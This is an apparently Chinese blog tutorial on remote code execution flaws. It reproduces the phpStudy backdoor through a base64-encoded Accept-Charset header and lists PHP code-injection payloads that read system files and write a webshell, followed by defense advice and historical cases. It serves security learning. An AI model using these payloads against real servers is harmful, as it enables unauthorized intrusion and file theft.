• RCE 远程代码执行漏洞分析


    RCE 漏洞

    1.漏洞描述

    • Remote Command/Code Execute

    • 远程命令执行/远程代码执行漏洞

    • 这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。

    2.漏洞场景

    • PHP 代码执行
    • PHP 代码注入
    • OS 命令执行
    • OS 命令注入
    • Java、Python……
    • Web 应用程序
    • 远程服务
    • 操作系统漏洞

    3.漏洞原理

    传入 PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在 PHP 代码注入漏洞,也就是 RCE。

    4.漏洞危害

    继承当前用户权限:

    • GetShell,执行代码或命令。
    • 读写文件。
    • 反弹Shell。
    • 控制网站。
    • 控制系统。

    5.漏洞评级

    RCE漏洞通常被评级为高危或严重的漏洞,因为其危害性较大,能够导致系统完全被攻击者控制。

    6.漏洞验证

    • phpstudy_2016-2018_rce_backdoor 漏洞复现

    • 打开 bp

      image-20231016121951332

    • 打开代理浏览器

      image-20231016122015833

    • 访问 php 页面

      image-20231016122049698

      image-20231016122109271

    • 回到 bp

      查看 http 历史,找到刚刚访问的 php 页面

      image-20231016122211545

    • 发送到 Repeater

      image-20231016122237107

    • 转到 Repeater

      image-20231016122308061

    • php 页面请求内容加

      Accept-Charset: 
      
      • 1
    • 修改 Accept-Encoding,删除 deflate 前的空格

      Accept-Encoding: gzip,deflate
      
      • 1
    • 将要执行的命令写入到 system(“”) 中如

      system("whoami");
      
      • 1
    • Decoder 模块 base64 编码

      # 对 system("whoami") 编码
      c3lzdGVtKCJ3aG9hbWkiKTs=
      
      • 1
      • 2

      image-20231016121748478

    • 将编码放到 Accept-Charset:

      Accept-Charset: c3lzdGVtKCJ3aG9hbWkiKTs=
      
      • 1

      image-20231016122431232

    • 点击 Send 发送

    • 查看返回的数据

    • 成功回显执行的命令

      image-20231016122527558

    7.漏洞利用

    代码执行漏洞的利用方式有很多种。

    获取Shell,蚁剑可以直接连接。

    shell: http://10.4.7.187/php/functions/eval.php
    pass: code
    
    • 1
    • 2

    获取当前文件的绝对路径。

    ?code=print(__FILE__);
    
    • 1

    读文件。

    ?code=print(file_get_contents('eval.php'));
    ?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));
    
    • 1
    • 2

    写文件。

    ?code=file_put_contents('shell.php','');
    ?code=file_put_contents(要写入的文件,要写入的内容)
    
    • 1
    • 2

    8.漏洞防御

    • 尽量避免使用危险函数
    • 对用户输入的数据进行严格的验证和过滤,确保只接受预期的输入。
    • 限制应用程序或系统的权限,确保用户或攻击者无法执行危险的操作。
    • 及时更新和修复应用程序、操作系统和依赖库中的漏洞,以减少攻击面。
    • 输入验证、输出转义、防止代码注入等。

    9.典型案例

    • 2017年Equifax数据泄露事件:攻击者利用RCE漏洞入侵了Equifax的服务器,窃取了超过1亿个消费者的敏感信息。
    • 2014年Shellshock漏洞:Shellshock是一个影响Bash(Unix和Linux操作系统中的一种Shell)的RCE漏洞,攻击者可以通过恶意环境变量注入恶意代码并执行任意命令。
    • 2010年Stuxnet蠕虫:Stuxnet是一种利用RCE漏洞的恶意软件,攻击了伊朗的核设施,导致严重的设备损坏。
  • 相关阅读:
    【百度地图】百度地图的使用方法 和 在vue中如何使用百度地图(超详细)
    网络原理之TCP-IP地址 & 子网掩码
    Codeforces Round #814 (Div. 2)
    解锁编程潜能:探索亚马逊CodeWhisperer,打造编程世界的声音引导者
    golang运行期间重新加载环境变量
    JS判断相等或者不等于(==、===、!=、!==)运算符
    【Oracle】Oracle系列之三--Oracle字符集
    大数据之Hive
    Android学习笔记 1.2.7 自定义任务 && 1.2.8 自定义插件
    DAY38:域环境搭建
  • 原文地址:https://blog.csdn.net/weixin_51559599/article/details/134043871